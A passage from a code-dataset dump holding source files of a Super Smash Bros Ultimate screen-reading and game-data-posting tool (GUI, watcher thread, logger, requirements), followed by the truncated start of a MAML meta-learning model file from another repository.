print('Waiting for flag screen')\n notif = True\n time.sleep(0.01)\n break\n\n\n###########################################################\n######################### Utility #########################\n###########################################################\n\n\ndef time_this(func):\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n duration = '{:.2f}'.format(end_time - start_time)\n print(f'function: {func.__name__} executed in {duration} seconds')\n return result\n return wrapper\n\n\ndef new_flag(flag, flag_list):\n size = flag.size\n size_str = f'{size[0]}x{size[1]}'\n name = f'{size_str}.tif'\n if flag_list:\n for i, group in enumerate(flag_list):\n path = os.path.join(FLAG_DIR, str(i))\n _flag = Image.open(os.path.join(path, group[0]))\n if image_similarity(_flag, flag):\n if name in group:\n return None\n else:\n group.append(name)\n if not os.path.isdir(path):\n os.mkdir(path)\n flag.save(os.path.join(path, name))\n return f'{i}\\\\{name}'\n path = os.path.join(FLAG_DIR, str(len(flag_list)))\n flag_list.append([name])\n if not os.path.isdir(path):\n os.mkdir(path)\n flag.save(os.path.join(path, name))\n return f'{str(len(flag_list))}\\\\{name}'\n\n\n###########################################################\n########################## Image ##########################\n###########################################################\n\n\n#@time_this\ndef is_flag_screen():\n screen_crop = ImageGrab.grab(COORDS['lobby-flag-screen-id'])\n img_template = Image.open(os.path.join(HOME_DIR, 'template.jpg'))\n if image_similarity(screen_crop, img_template):\n return True\n else:\n return False\n\n\n#@time_this\ndef convert_to_bw(pil_img, threshold=127):\n cv_img = np.array(pil_img)\n img_gray = cv2.cvtColor(cv_img, cv2.COLOR_BGR2GRAY)\n thresh, array_bw = cv2.threshold(img_gray, threshold, 255, cv2.THRESH_BINARY_INV)\n pil_bw = Image.fromarray(array_bw)\n ImageDraw.floodfill(pil_bw, xy=(1, 1), value=0)\n return pil_bw, array_bw\n\n\n#@time_this\ndef count_markers():\n img = ImageGrab.grab(COORDS['lobby-flag-screen-player-markers'])\n bw_img, bw_arr = convert_to_bw(img)\n skip = 0\n markers = 0\n for i, pixel in enumerate(bw_arr[0]):\n if skip:\n skip -= 1\n continue\n if pixel == 0:\n markers += 1\n skip = 100\n return markers\n\n\n#@time_this\ndef read_flag(i, area):\n img = ImageGrab.grab(area)\n dt = datetime.fromtimestamp(time.time())\n t = dt.strftime('%Y_%m_%d-%H.%M.%S')\n name = f'{t}-{i}.tif'\n flag_dir = os.path.join(HOME_DIR, 'flags')\n if not os.path.isdir(flag_dir):\n os.mkdir(flag_dir)\n return img\n\n\ndef image_similarity(img1, img2, min_sim=90):\n thumb_img1 = img1.resize((64, 64))\n thumb_img2 = img2.resize((64, 64))\n bw1, arr1 = convert_to_bw(thumb_img1)\n bw2, arr2 = convert_to_bw(thumb_img2)\n\n bw1.show()\n bw2.show()\n\n diff = ImageChops.difference(bw1, bw2)\n arr = np.asarray(diff)\n total = 0\n different = 0\n for row in arr:\n for pixel in row:\n total += 1\n if pixel == 255:\n different += 1\n sim = ((1 - (different/total)) * 100)\n return sim > min_sim\n\n\n###########################################################\n######################### Launch ##########################\n###########################################################\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5812814831733704, "alphanum_fraction": 0.5965442657470703, "avg_line_length": 35.171875, "blob_id": "ca3ed54fe4eb5e54ea8ea8625b2eab6b38e931c7", "content_id": "b8d9e97039f29c9c7dd1e8298e310d188b072832", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13890, "license_type": "no_license", "max_line_length": 138, "num_lines": 384, "path": "/smash_reader/smash.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "from datetime import datetime\nimport json\nfrom logger import log_exception\nimport numpy as np\nimport os\nfrom PIL import Image, ImageTk\nimport platform\nfrom queue import Queue, Empty\nimport requests\nimport smash_game\nimport smash_utility as ut\nimport smash_watcher\nfrom sys import argv, excepthook\nimport time\nimport tkinter as tk\n\nexcepthook = log_exception\n\n\nTITLE = 'SmashBet Screen Watcher'\n\noutput = False\ndef _print(*args, **kwargs):\n if output:\n args = list(args)\n args.insert(0, '<GUI>')\n print(*args, **kwargs)\n\nBASE_DIR = os.path.realpath(os.path.dirname(__file__))\n\n\nBG = ['#282C34', '#383D48']\nFG = ['#9098A6', '#9DA5B4', '#ABB3BF', '#E06C75', '#61AFEF', '#56B6C2', '#98C379']\n\ndef config_grids(widget, rows=[], columns=[]):\n [widget.rowconfigure(i, weight=weight) for i, weight in enumerate(rows)]\n [widget.columnconfigure(i, weight=weight) for i, weight in enumerate(columns)]\n\n\nclass Menubar(tk.Menu):\n def __init__(self, master):\n super().__init__(master)\n self.master = master\n\n self.file_menu = tk.Menu(self, tearoff=0)\n # self.file_menu.add_command(label='Load State', command=self.load_state)\n # self.file_menu.add_command(label='Save State', command=self.save_state)\n # self.file_menu.add_separator()\n self.file_menu.add_command(label='Restart', command=self.master.restart)\n self.file_menu.add_command(label='Quit', command=self.master.quit)\n\n self.debug_menu = tk.Menu(self, tearoff=0)\n self.debug_menu.add_command(label='Clear console', command=ut.clear_console)\n\n self.output_menu = tk.Menu(self, tearoff=0)\n self.output_menu.add_command(\n label='Silence watcher', command=lambda: self.toggle_output(smash_watcher, 'watcher', 0)\n )\n self.output_menu.add_command(\n label='Silence game', command=lambda: self.toggle_output(smash_game, 'game', 1)\n )\n self.output_menu.add_command(\n label='Silence utility', command=lambda: self.toggle_output(ut, 'utility', 2)\n )\n\n self.debug_menu.add_cascade(label='Outputs', menu=self.output_menu)\n self.debug_menu.add_separator()\n self.debug_menu.add_command(label='Print game data', command=lambda: print(self.master.watcher.game.serialize(images_bool=False)))\n self.debug_menu.add_separator()\n self.debug_menu.add_command(label='Capture cards_id template', command=ut.capture_cards_id)\n self.debug_menu.add_command(label='Character name debugging', command=self.master.character_name_debugging)\n self.debug_menu.add_command(label='Click spectate', command=self.master.click_spectate)\n\n self.add_cascade(label='File', menu=self.file_menu)\n self.add_cascade(label='Debug', menu=self.debug_menu)\n\n\n def toggle_output(self, module, name, index):\n if module.output:\n self.output_menu.entryconfig(index, label=f'Unsilence {name}')\n else:\n self.output_menu.entryconfig(index, label=f'Silence {name}')\n module.output = not module.output\n\n\n def load_state(self):\n path = os.path.join(BASE_DIR, 'game_state.json')\n if os.path.isfile(path):\n with open(path, 'r') as infile:\n return json.load(infile)\n else:\n return None\n\n\n def save_state(self):\n game = self.master.game\n if game:\n path = os.path.join(BASE_DIR, 'game_state.json')\n with open(path, 'w+') as outfile:\n json.dump(game, outfile)\n\n\nclass PlayerFrame(tk.Frame):\n def __init__(self, master, player_info, *args, **kwargs):\n super().__init__(master, *args, **kwargs)\n self.master = master\n\n self.info = player_info\n\n config_grids(self, rows=[1, 1], columns=[1, 1])\n\n self.player_number_label = tk.Label(self, text=f'Player {self.info[\"number\"]}', bg=self['background'])\n self.player_number_label.grid(row=0, column=0, sticky='nsw', padx=10)\n\n self.character_name_label = tk.Label(\n self, text=f'Character: {self.info[\"character_name\"].title()}', bg=self['background']\n )\n self.character_name_label.grid(row=0, column=1, sticky='nsw', padx=10)\n\n self.gsp_label = tk.Label(self, text=f'GSP: {self.info[\"gsp\"]}', bg=self['background'])\n self.gsp_label.grid(row=1, column=0, sticky='nsw', padx=10)\n\n arr = np.array(self.info['player_name_image'])\n try:\n img = Image.fromarray(arr.astype('uint8'))\n img = img.resize((200, 30), Image.NEAREST)\n img = img.convert('1').tobitmap()\n bitmap = ImageTk.BitmapImage(data=img)\n self.player_name_label = tk.Label(self, image=bitmap, bg=self.master['background'])\n self.player_name_label.image = bitmap\n self.player_name_label.grid(row=1, column=1, sticky='nw', padx=10)\n except TypeError:\n _print(arr)\n _print('Image data corrupted')\n try:\n ut.dump_image_data(arr)\n _print('Image data successfully dumped')\n except:\n _print('Failed to dump image data')\n\n\nclass TeamFrame(tk.Frame):\n def __init__(self, master, team_info, *args, **kwargs):\n super().__init__(master, *args, **kwargs)\n self.master = master\n\n self.info = team_info\n\n self.build_player_frames()\n\n\n def build_player_frames(self):\n COLORS = {\n 'RED': (252, 208, 197),\n 'BLUE': (163, 220, 248),\n 'YELLOW': (246, 237, 166),\n 'GREEN': (160, 235, 186)\n }\n if self.info['placement']:\n self.placement_label = tk.Label(\n self, bg=self['background'], fg=BG[0], text=f'{self.info[\"placement\"]} place'\n )\n self.info['players'].sort(key=lambda player: player['number'])\n player_frames = []\n player_len = len(self.info['players'])\n self.gsp_label = tk.Label(self, bg=self['background'], fg=BG[0], text=f'Team GSP: {self.info[\"gsp_total\"]}')\n self.gsp_label.grid(row=0, column=1, columnspan=player_len, sticky='nsw')\n config_grids(self, rows=[1]*(player_len+1), columns=[1, 1])\n config_grids(self, rows=[0])\n for i, player in enumerate(self.info['players']):\n hex_color = ut.rgb_to_hex(COLORS[self.info['color']])\n player_frames.append(PlayerFrame(self, player, bg=hex_color))\n player_frames[i].grid(row=i+1, column=0, columnspan=2, sticky='nsew', padx=10, pady=(0, 10))\n\n\n\nclass GameFrame(tk.Frame):\n def __init__(self, master, *args, **kwargs):\n super().__init__(master, *args, **kwargs)\n self.master = master\n self.game_number = tk.StringVar()\n self.game_mode = tk.StringVar()\n self.game_map = tk.StringVar()\n self.game_duration = tk.StringVar()\n\n config_grids(self, rows=[0, 1], columns=[1])\n\n self.info_frame = tk.Frame(self, bg=BG[0])\n config_grids(self.info_frame, rows=[1, 1], columns=[1, 1])\n self.info_frame.grid(row=0, column=0, sticky='nsew')\n\n self.game_mode_label = tk.Label(self.info_frame, bg=BG[0], fg=FG[0], textvariable=self.game_mode)\n self.game_mode_label.grid(row=0, column=0, sticky='nsew')\n self.game_map_label = tk.Label(self.info_frame, bg=BG[0], fg=FG[0], textvariable=self.game_map)\n self.game_map_label.grid(row=0, column=1, sticky='nsew')\n self.game_number_label = tk.Label(self.info_frame, bg=BG[0], fg=FG[0], textvariable=self.game_number)\n self.game_number_label.grid(row=1, column=0, sticky='nsew')\n self.game_duration_label = tk.Label(self.info_frame, bg=BG[0], fg=FG[0], textvariable=self.game_duration)\n self.game_duration_label.grid(row=1, column=1, sticky='nsew')\n\n\n def display_info(self):\n self.master.game = self.master.watcher.game.serialize()\n game = self.master.game\n self.game_number.set(f'Game #{game[\"number\"]}')\n self.game_map.set(f'Map: {game[\"map\"]}')\n self.game_mode.set(f'Mode: {game[\"mode\"]}')\n if game['start_time']:\n self.game_duration.set(\n f'Game began {time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(game[\"start_time\"]))}'\n )\n elif game['duration']:\n self.game_duration.set(f'Game completed in {game[\"duration\"]} seconds')\n self.build_team_frames(game)\n\n\n def build_team_frames(self, game):\n color_order = ['RED', 'BLUE', 'YELLOW', 'GREEN']\n if hasattr(self, 'teams_frame'):\n self.teams_frame.destroy()\n self.teams_frame = tk.Frame(self, bg=BG[1])\n self.teams_frame.grid(row=1, column=0, sticky='nsew')\n team_len = len(game['teams'])\n config_grids(self.teams_frame, rows=[1]*team_len, columns=[1])\n game['teams'].sort(key=lambda team: color_order.index(team['color']))\n team_frames = []\n for team_index, team in enumerate(game['teams']):\n hex_color = ut.rgb_to_hex(ut.COLORS['CARDS'][team['color']])\n team_frames.append(TeamFrame(self.teams_frame, team, bg=hex_color))\n team_frames[team_index].grid(row=team_index, column=0, sticky='nsew', pady=(0, 10))\n\n\nclass WatcherFrame(tk.Frame):\n def __init__(self, master, *args, **kwargs):\n super().__init__(master, *args, **kwargs)\n self.master = master\n\n config_grids(self, rows=[0, 0], columns=[1])\n\n self.toggle_watcher_button = tk.Button(\n self, bg=FG[1], fg=BG[1], bd=0, text='Start watcher', command=self.toggle_watcher\n )\n self.toggle_watcher_button.grid(row=0, column=0, sticky='ew', pady=(0, 5))\n\n self.watcher_status = tk.Label(self, text='Watcher stopped', bg=BG[0], fg=FG[3])\n self.watcher_status.grid(row=1, column=0, sticky='ew')\n\n\n def toggle_watcher(self):\n if self.master.watcher.isAlive(): # STOP\n self.master.watcher_queue.put('quit')\n self.master.watcher.join()\n self.toggle_watcher_button.config(text='Start watcher')\n self.watcher_status.config(text='Watcher stopped', fg=FG[3])\n else: # START\n self.master.watcher = smash_watcher.Watcher(self.master.watcher_queue, self.master.queue)\n self.master.watcher.start()\n self.toggle_watcher_button.config(text='Stop watcher')\n self.watcher_status.config(fg=FG[6])\n self.master.game_frame.destroy()\n self.master.game_frame = GameFrame(self.master, bg=BG[1])\n self.master.game_frame.grid(row=1, column=0, sticky='nsew', padx=10, pady=10)\n\n\nclass Window(tk.Frame):\n def __init__(self, master, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.master = master\n self.watcher = None\n self.cont = True\n self.queue = Queue()\n self.watcher_queue = Queue()\n self.character_name_debugging_enabled = False\n\n self.watcher = smash_watcher.Watcher(self.watcher_queue, self.queue)\n self.watcher.daemon = True\n\n self.game = None\n\n self.restart_flag = False\n\n self.pack(fill=tk.BOTH, expand=True)\n\n self.master.title(TITLE)\n\n config_grids(self, rows=[0, 1], columns=[1])\n\n self.game_frame = GameFrame(self, bg=BG[1])\n self.game_frame.grid(row=1, column=0, sticky='nsew', padx=10, pady=10)\n\n self.watcher_frame = WatcherFrame(self, bg=BG[0])\n self.watcher_frame.grid(row=0, column=0, sticky='nsew', padx=10, pady=10)\n\n self.menubar = Menubar(self)\n self.master.config(menu=self.menubar)\n\n self.loop()\n\n\n def loop(self):\n if self.cont:\n self.check_queue()\n self.master.after(100, self.loop)\n\n\n def check_queue(self):\n try:\n item = self.queue.get(block=False)\n if item == 'update':\n self.game_frame.display_info()\n if 'status' in item:\n self.watcher_frame.watcher_status.config(text=item['status'])\n except Empty:\n pass\n\n\n def quit(self):\n self.cont = False\n self.master.destroy()\n\n\n def restart(self):\n self.quit()\n self.restart_flag = True\n\n\n def character_name_debugging(self):\n if not self.character_name_debugging_enabled:\n self.watcher.lock(1)\n smash_game.character_name_debugging_enabled = True\n else:\n self.watcher.unlock()\n smash_game.character_name_debugging_enabled = False\n self.character_name_debugging_enabled = not self.character_name_debugging_enabled\n\n\n def click_spectate(self):\n self.watcher.game.cancelled = 'DEBUG'\n\n\ndef run_gui():\n root = tk.Tk()\n root.geometry('540x550')\n window = Window(root, bg=BG[0])\n\n if ut.SETTINGS['AUTO_START_WATCHER'].lower() == 'true':\n window.watcher_frame.toggle_watcher()\n\n root.mainloop()\n\n if window.watcher.isAlive():\n window.watcher_queue.put('quit')\n window.watcher.join()\n\n if window.restart_flag:\n system = platform.system()\n if system == 'Windows':\n os.system(__file__)\n if system == 'Linux':\n os.system('python3 ' + __file__)\n\n\ndef headless():\n queue = Queue()\n watcher_queue = Queue()\n watcher = smash_watcher.Watcher(watcher_queue, queue)\n watcher.start()\n _input = ''\n while _input not in ['stop', 'exit', 'quit']:\n _input = input('>: ')\n key_capture.put('quit')\n key_capture.join()\n watcher_queue.put('quit')\n watcher.join()\n\n\nif __name__ == '__main__':\n print(f'\\n\\n{\"*\" * 40} {TITLE} {\"*\" * 40}')\n print(f'<<<{datetime.fromtimestamp(time.time()).strftime(\"%Y-%m-%d %H:%M:%S\")}>>>')\n if len(argv):\n if '-nogui' in argv:\n headless()\n else:\n run_gui()\n" }, { "alpha_fraction": 0.4712643623352051, "alphanum_fraction": 0.6873562932014465, "avg_line_length": 15.11111068725586, "blob_id": "b67589a3f8a9241f8bd1aa4b60eccdcce48f8b9f", "content_id": "82f6d97754065c433a3c36215e486c3259ad4cdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 435, "license_type": "no_license", "max_line_length": 23, "num_lines": 27, "path": "/smash_reader/requirements.txt", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "certifi==2019.3.9\nchardet==3.0.4\ncycler==0.10.0\ndecorator==4.4.0\nidna==2.8\nimageio==2.5.0\nimutils==0.5.2\nkiwisolver==1.1.0\nmatplotlib==3.0.3\nmss==4.0.2\nnetworkx==2.3\nnumpy==1.16.3\nopencv-python==4.1.0.25\nPillow>=7.1.0\npsycopg2==2.8.2\npynput==1.4.2\npyparsing==2.4.0\npytesseract==0.2.6\npython-dateutil==2.8.0\npython-xlib==0.25\npytz==2018.9\nPyWavelets==1.0.3\nrequests==2.22.0\nscikit-image==0.15.0\nscipy==1.2.1\nsix==1.12.0\nurllib3==1.25.3\n" }, { "alpha_fraction": 0.635374128818512, "alphanum_fraction": 0.635374128818512, "avg_line_length": 30.95652198791504, "blob_id": "fbf7adc2ceab675d64f0bf8c17f37f26d3ad42ba", "content_id": "f4cf7dd65c2d7c7837fd5f815f57ac5aba6a6fc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 735, "license_type": "no_license", "max_line_length": 76, "num_lines": 23, "path": "/smash_reader/logger.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "from datetime import datetime\nimport os\nfrom sys import __excepthook__\nfrom time import time\nfrom traceback import format_exception\n\n\nBASE_DIR = os.path.realpath(os.path.dirname(__file__))\n\ndef log_exception(type, value, tb):\n error = format_exception(type, value, tb)\n filepath = os.path.join(BASE_DIR, 'error.log')\n old_text = '\\n'\n if os.path.isfile(filepath):\n with open(filepath, 'r') as logfile:\n old_text += logfile.read()\n timestamp = datetime.fromtimestamp(time()).strftime('%Y-%m-%d %H:%M:%S')\n line = f'[{timestamp}]\\n{(\"\".join(error))}'\n new_text = line + old_text\n with open(filepath, 'w+') as logfile:\n logfile.write(new_text)\n\n __excepthook__(type, value, tb)\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 54, "blob_id": "79a8a3332961cf7e328882039596f42a9bfd539c", "content_id": "ed6ac158caf65cbd56ff5ac4392fe61ebbda3da8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 110, "license_type": "no_license", "max_line_length": 101, "num_lines": 2, "path": "/README.md", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "# smash\nScreen reader built for Super Smash Bros Ultimate. Not updated to work with the current game version.\n" }, { "alpha_fraction": 0.49916887283325195, "alphanum_fraction": 0.505426824092865, "avg_line_length": 34.26551818847656, "blob_id": "bf989537341845789372245d272e3b57eb6ee29b", "content_id": "d03a2e4e9b5f7bd4aa91ae456b46e80353df1e35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10227, "license_type": "no_license", "max_line_length": 108, "num_lines": 290, "path": "/smash_reader/smash_watcher.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "import json\nfrom logger import log_exception\nimport os\nfrom queue import Empty\nimport re\nimport requests\nimport smash_game\nimport smash_utility as ut\nimport sys\nimport threading\nimport time\n\nsys.excepthook = log_exception\n\n\noutput = True\ndef _print(*args, **kwargs):\n if output:\n args = list(args)\n args.insert(0, '<Watcher>')\n print(*args, **kwargs)\n\n\nclass Watcher(threading.Thread):\n def __init__(self, watcher_queue, gui_queue):\n # print('\\n')\n super().__init__()\n self.queue = watcher_queue\n self.gui_queue = gui_queue\n self.id_coords = [\n ('LOBBY', 'FLAGS_ID'),\n ('LOBBY', 'CARDS_ID'),\n (),\n (),\n ('GAME', 'END_ID'),\n ('FINAL', 'ID'),\n ('FINAL', 'ID2')\n ]\n\n self.locked = False\n\n self.reset()\n\n\n # Game finished or cancelled\n def reset(self):\n if not self.locked:\n self.current_type_index = 0\n self.list_limit = 3\n self.sim_lists = [[0] * self.list_limit for _ in range(len(self.id_coords))]\n self.cont = True\n self.current_game_num = len(ut.load_game_data()) + 1\n self.game = smash_game.Game(self.current_game_num)\n self.timer_detected = False\n self.timer_visible = False\n self.timer_running = False\n self.timer_running_templates = (None, None)\n self.timer_sim_hits = 0\n\n\n # Starts when watcher is created and loops forever\n def run(self):\n _print('Watching for flags')\n self.gui_queue.put({'status': 'Watching for flag screen'})\n while self.cont:\n timer_vis_sim = 0\n timer_milli_sim = 0\n self.cap = ut.capture_screen()\n crop = self.cap.crop(ut.COORDS['MENU']['FAILED_TO_PLAY_REPLAY'])\n if ut.avg_sim(crop, ut.TEMPLATES['MENU']['FAILED_TO_PLAY_REPLAY']) >= 95:\n self.game.cancelled = 'REPLAY_FAILED'\n time.sleep(5)\n ut.send_command('a')\n if self.game.cancelled:\n self.reset()\n if not self.locked:\n self.gui_queue.put('update')\n self.gui_queue.put({'status': 'Watching for menu screen'})\n self.watch_for_menu()\n if not self.locked:\n self.gui_queue.put({'status': 'Watching for flag screen'})\n # check timer visibility and movement, set class variables\n if self.current_type_index >= 2:\n timer_vis_sim = self.check_timer_visibility()\n timer_milli_sim = 0\n if self.timer_detected:\n timer_milli_sim = self.check_timer_movement()\n # look for the timer at the beginning\n if self.current_type_index == 2:\n if self.timer_detected:\n _print(f'timer detected: {timer_vis_sim}')\n self.read_screen_data()\n # wait for the timer to start moving\n elif self.current_type_index == 3:\n if self.timer_running:\n _print(f'timer movemement detected: {timer_milli_sim}')\n self.read_screen_data()\n # check to see if the timer is stopped, or the \"GAME\" text is\n # detected, or the results screen is detected\n elif self.current_type_index == 4:\n if self.check_screen_basic() > 90:\n # pass because read_screen_data will be called if True\n # and the rest of the checks will be skipped\n pass\n else:\n # Timer stopped\n if not self.timer_running:\n self.read_screen_data()\n # Results screen detected\n else:\n checks = [\n self.check_screen_basic(index=5, normal=False),\n self.check_screen_basic(index=6, normal=False)\n ]\n if sum(checks) / 2 > 80:\n # run twice because the match end screen was missed\n self.read_screen_data()\n self.read_screen_data()\n # check for current basic template (flags, cards, results)\n else:\n self.check_screen_basic()\n self.check_queue()\n time.sleep(0.1)\n\n\n def check_queue(self):\n if self.queue:\n try:\n item = self.queue.get(block=False)\n if item == 'quit':\n self.cont = False\n except Empty:\n pass\n\n\n def lock(self, index):\n self.current_type_index = index - 1\n self.read_screen_data()\n self.locked = True\n\n\n def unlock(self):\n self.locked = False\n self.reset()\n\n\n def watch_for_menu(self):\n templates = [\n ut.TEMPLATES['MENU']['SPECTATE_SELECTED'],\n ut.TEMPLATES['LOBBY']['FLAGS_ID']\n ]\n while self.cont:\n cap = ut.capture_screen()\n self.check_queue()\n crop = cap.crop(ut.COORDS['MENU']['SPECTATE_SELECTED'])\n if ut.avg_sim(crop, templates[0]) > 95:\n time.sleep(5)\n ut.send_command('a')\n break\n crop = cap.crop(ut.COORDS['LOBBY']['FLAGS_ID'])\n if ut.avg_sim(crop, templates[1]) > 95:\n break\n ut.send_command('a')\n time.sleep(2)\n\n\n # @ut.pad_time(0.20)\n def check_screen_basic(self, index=-1, normal=True, screen=None, area=None):\n if index == -1:\n index = self.current_type_index\n if not screen and not area:\n screen, area = self.id_coords[index]\n sim = ut.area_sim(self.cap, screen, area)\n\n l = self.sim_lists[index]\n l.insert(0, sim)\n del l[-1]\n\n avg = sum(l) / len(l)\n if avg > 90:\n _print(f'Screen type {{{index}}} sim: {avg}')\n if normal:\n l = [0] * self.list_limit\n self.read_screen_data()\n return avg\n\n\n def check_timer_visibility(self):\n timer_vis_crop = self.cap.crop(ut.COORDS['GAME']['TIMER_VISIBLE'])\n template = ut.TEMPLATES['GAME']['TIMER_VISIBLE']\n timer_vis_sim = ut.avg_sim(timer_vis_crop, template)\n if timer_vis_sim > 95:\n # _print(f'timer vis sim: {timer_vis_sim}')\n if not self.timer_detected:\n self.timer_detected = True\n self.timer_visible = True\n else:\n self.timer_visible = False\n return timer_vis_sim\n\n\n def check_timer_movement(self):\n timer_sim = 0\n if self.timer_visible:\n coords = ut.COORDS['GAME']['TIMER_MILLI']\n crops = [self.cap.crop(coord) for coord in coords]\n # [crop.show() for crop in crops]\n if all(self.timer_running_templates):\n timer_sim = sum([ut.avg_sim(t, c) for t, c in zip(self.timer_running_templates, crops)]) / 2\n # for i, crop in enumerate(crops):\n # timer_sim = ut.avg_sim(crop, self.timer_running_templates[i]) / (i + 1)\n if timer_sim > 90:\n _print(f'timer sim: {timer_sim}')\n self.timer_sim_hits += 1\n if self.timer_sim_hits >= 3:\n if self.timer_running:\n # self.read_screen_data()\n self.timer_running = False\n else:\n self.timer_running = True\n self.timer_sim_hits = 0\n self.timer_running_templates = crops\n return timer_sim\n\n\n def battle_watcher(self):\n pass\n\n\n def filter_and_post(self, game):\n data = {\n 'game': ut.filter_game_data(\n game,\n self.current_type_index\n ),\n 'mode': self.current_type_index\n }\n ut.post_data(data)\n\n\n def read_screen_data(self):\n qp = lambda: self.filter_and_post(self.game.serialize(images_bool=False))\n # Flags\n if self.current_type_index == 0:\n self.gui_queue.put('update')\n _print('Flags detected')\n self.gui_queue.put({'status': 'Watching for card screen'})\n # Cards\n if self.current_type_index == 1:\n _print('Cards detected')\n self.gui_queue.put({'status': 'Reading cards'})\n time.sleep(1)\n self.cap = ut.capture_screen()\n self.game.read_card_screen(self.cap)\n qp()\n self.gui_queue.put('update')\n self.gui_queue.put({'status': 'Watching for battle pregame'})\n # Pregame\n if self.current_type_index == 2:\n _print('Battle pregame detected')\n self.game.read_start_screen(self.cap)\n qp()\n self.gui_queue.put('update')\n self.gui_queue.put({'status': 'Watching for battle start'})\n # Game started\n if self.current_type_index == 3:\n _print('Battle start detected')\n qp()\n self.gui_queue.put('update')\n self.gui_queue.put({'status': 'Watching for battle end'})\n # Game ended\n if self.current_type_index == 4:\n _print('Battle end detected')\n qp()\n self.gui_queue.put('update')\n self.gui_queue.put({'status': 'Watching for battle results'})\n # Results\n if self.current_type_index == 5:\n _print('Battle results detected')\n self.game.read_results_screen(self.cap)\n qp()\n self.gui_queue.put('update')\n self.gui_queue.put({'status': 'Watching for flag screen'})\n # ut.save_game_data(self.game.serialize())\n if not self.locked:\n self.current_type_index += 1\n if self.current_type_index >= 6:\n self.reset()\n _print(f'Mode changed to {self.current_type_index}')\n # _print(json.dumps(self.game.serialize(), separators=(',', ': ')))\n" }, { "alpha_fraction": 0.8270676732063293, "alphanum_fraction": 0.8270676732063293, "avg_line_length": 25.600000381469727, "blob_id": "28b872b742755d4cfd98084f2fa96c36bbbd86a5", "content_id": "e4956c79695c2d6d6757b36ba2aeeda8b19e44ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 133, "license_type": "no_license", "max_line_length": 52, "num_lines": 5, "path": "/smash_reader/todo.txt", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "Make stock reading live\nAdd time mode score detection\nHP mode\nDetect guest players and split number on card screen\nHash player names\n" } ]
10
radrumond/hidra
https://github.com/radrumond/hidra
85215f4bea147326ba296a002b0a8f039b49609d
e4d2ad994d07291af54822c61cf08293b3896928
ffea7f99d547988a3008bcdcf53fe6fd679bb0ca
refs/heads/master
2020-08-11T11:33:21.887671
2020-06-29T13:16:52
2020-06-29T13:16:52
214,558,357
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.5590613484382629, "alphanum_fraction": 0.5919936895370483, "avg_line_length": 57.298851013183594, "blob_id": "9a43548b921d36047a52f7c862ee359bd0568b51", "content_id": "343b3f4a416e933bb1983bd124457326ca2a280c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5071, "license_type": "no_license", "max_line_length": 112, "num_lines": 87, "path": "/archs/fcn.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "# ADAPTED BY Rafael Rego Drumond and Lukas Brinkmeyer\n# THIS IMPLEMENTATION USES THE CODE FROM: https://github.com/dragen1860/MAML-TensorFlow\n\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom archs.maml import MAML\nclass Model(MAML):\n def __init__(self,train_lr,meta_lr,image_shape,isMIN, label_size=2):\n super().__init__(train_lr,meta_lr,image_shape,isMIN,label_size)\n\n def dense_weights(self):\n weights = {}\n cells = {}\n initializer = tf.contrib.layers.xavier_initializer()\n print(\"Creating/loading Weights\")\n divider = 1\n inic = 1\n filters = 64\n finals = 64\n if self.isMIN:\n divider = 2\n inic = 3\n finals = 800 \n filters = 32\n with tf.variable_scope('MAML', reuse= tf.AUTO_REUSE):\n weights['c_1'] = tf.get_variable('c_1', shape=(3,3, inic,filters), initializer=initializer)\n weights['c_2'] = tf.get_variable('c_2', shape=(3,3,filters,filters), initializer=initializer)\n weights['c_3'] = tf.get_variable('c_3', shape=(3,3,filters,filters), initializer=initializer)\n weights['c_4'] = tf.get_variable('c_4', shape=(3,3,filters,filters), initializer=initializer)\n weights['cb_1'] = tf.get_variable('cb_1', shape=(filters), initializer=tf.initializers.constant)\n weights['cb_2'] = tf.get_variable('cb_2', shape=(filters), initializer=tf.initializers.constant)\n weights['cb_3'] = tf.get_variable('cb_3', shape=(filters), initializer=tf.initializers.constant)\n weights['cb_4'] = tf.get_variable('cb_4', shape=(filters), initializer=tf.initializers.constant)\n weights['d_1'] = tf.get_variable('d_1w', [finals,self.label_size], initializer = initializer)\n weights['b_1'] = tf.get_variable('d_1b', [self.label_size], initializer=tf.initializers.constant)\n \n \"\"\"weights['mean'] = tf.get_variable('mean', [64], initializer=tf.zeros_initializer())\n weights['variance'] = tf.get_variable('variance',[64], initializer=tf.ones_initializer() )\n weights['offset'] = tf.get_variable('offset', [64], initializer=tf.zeros_initializer())\n weights['scale'] = tf.get_variable('scale', [64], initializer=tf.ones_initializer() )\n \n weights['mean1'] = tf.get_variable('mean', [64], initializer=tf.zeros_initializer())\n weights['variance1'] = tf.get_variable('variance',[64], initializer=tf.ones_initializer() )\n weights['offset1'] = tf.get_variable('offset', [64], initializer=tf.zeros_initializer())\n weights['scale1'] = tf.get_variable('scale', [64], initializer=tf.ones_initializer() )\n \n weights['mean2'] = tf.get_variable('mean', [64], initializer=tf.zeros_initializer())\n weights['variance2'] = tf.get_variable('variance',[64], initializer=tf.ones_initializer() )\n weights['offset2'] = tf.get_variable('offset', [64], initializer=tf.zeros_initializer())\n 